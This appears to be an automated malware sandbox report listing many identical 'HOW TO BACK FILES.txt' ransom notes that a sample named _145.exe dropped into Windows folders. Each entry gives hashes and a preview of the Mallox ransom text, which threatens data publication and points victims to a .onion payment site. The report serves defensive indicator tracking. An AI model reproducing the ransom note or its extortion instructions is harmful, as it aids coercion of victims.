SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Reference Assemblies\Microsoft\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Defender Advanced Threat Protection\Classification\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Defender Advanced Threat Protection\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\Media Renderer\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\Network Sharing\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\Skins\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\Visualizations\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\en-GB\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Media Player\en-US\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Multimedia Platform\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Security\BrowserCore\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Security\BrowserCore\en-US\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\Windows Security\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\UEV\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\User Account Pictures\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
